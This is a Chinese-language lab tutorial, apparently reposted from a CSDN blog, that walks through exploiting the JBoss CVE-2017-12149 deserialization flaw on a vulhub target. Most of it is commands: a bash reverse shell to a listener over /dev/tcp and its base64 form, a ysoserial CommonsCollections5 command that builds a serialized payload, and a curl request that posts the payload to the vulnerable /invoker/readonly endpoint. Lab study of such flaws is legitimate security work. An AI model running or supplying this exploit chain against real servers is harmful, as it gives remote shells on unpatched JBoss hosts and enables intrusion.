本文介绍: JBoss 反序列化漏洞，该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中，其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化，导致恶意访问者通过精心设计的序列化数据执行任意代码。
中间件安全：JBoss 反序列化命令执行漏洞.（CVE-2017-12149）
JBoss 反序列化漏洞，该漏洞位于 JBoss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中，其 doFilter 方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化，导致恶意访问者通过精心设计的序列化数据执行任意代码。
目录：
中间件安全：JBoss 反序列化命令执行漏洞.（CVE-2017-12149）
靶场准备：Web安全：iwebsec || vulhub 靶场搭建.（各种漏洞环境集合，一键搭建漏洞测试靶场）_iwebsec靶场-CSDN博客
第二步：使用 Base64 编码，把 需要映射连接的代码 进行编码.
第四步：监听的主机进行监听（我这里是 172.16.10.136 主机，监听端口是 5566 和编码一样就行.）
第五步：把生成的文件上传到存在漏洞的页面就行，监听主机那边就会返回对方的命令页面.
常用的默认端口：1098，1099，4444，4445，8080，8009，8083，8093
受影响系统及应用版本 Jboss AS 5.x、Jboss AS 6.x漏洞靶场：
靶场准备：Web安全：iwebsec || vulhub 靶场搭建.（各种漏洞环境集合，一键搭建漏洞测试靶场）_iwebsec靶场-CSDN博客
cd vulhub/jboss/CVE-2017-12149 // 切换到漏洞目录.
docker-compose up -d // 开启漏洞靶场.
http://172.16.10.129:8080
# 访问开启服务的IP地址:8080 
漏洞测试：
第一步：访问存在的漏洞 URL 链接.
http://172.16.10.129:8080/invoker/readonly
http://漏洞的IP地址:端口/invoker/readonly # 后面的是存在漏洞的页面.
第二步：使用 Base64 编码，把 需要映射连接的代码 进行编码.
bash -i >& /dev/tcp/172.16.10.136/5566 0>&1
bash -i >& /dev/tcp/监听主机的IP地址(kali)/监听端口 0>&1
第三步：使用 工具 把代码生成一个可上传的文件.
工具链接：
链接：https://pan.baidu.com/s/11_V9awYc1qnTpG3JIDPwYQ
提取码：tianjava -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTM2OjU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTAuMTM2OjU1NjYgMD4mMQ==
#这个就是上面的 需要映射连接的代码 进行了编码，别的IP则进行别的编码就行.
第四步：监听的主机进行监听（我这里是 172.16.10.136 主机，监听端口是 5566 和编码一样就行.）
第五步：把生成的文件上传到存在漏洞的页面就行，监听主机那边就会返回对方的命令页面.
curl http://172.16.10.129:8080/invoker/readonly --data-binary @poc.ser
curl http://目标IP地址/端口/invoker/readonly --data-binary 上传这个文件.
原文地址:https://blog.csdn.net/weixin_54977781/article/details/134672613
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如若转载，请注明出处：http://www.7code.cn/show_43662.html
如若内容造成侵权/违法违规/事实不符，请联系代码007邮箱：suwngjj01@126.com进行投诉反馈，一经查实，立即删除！
声明：本站所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。
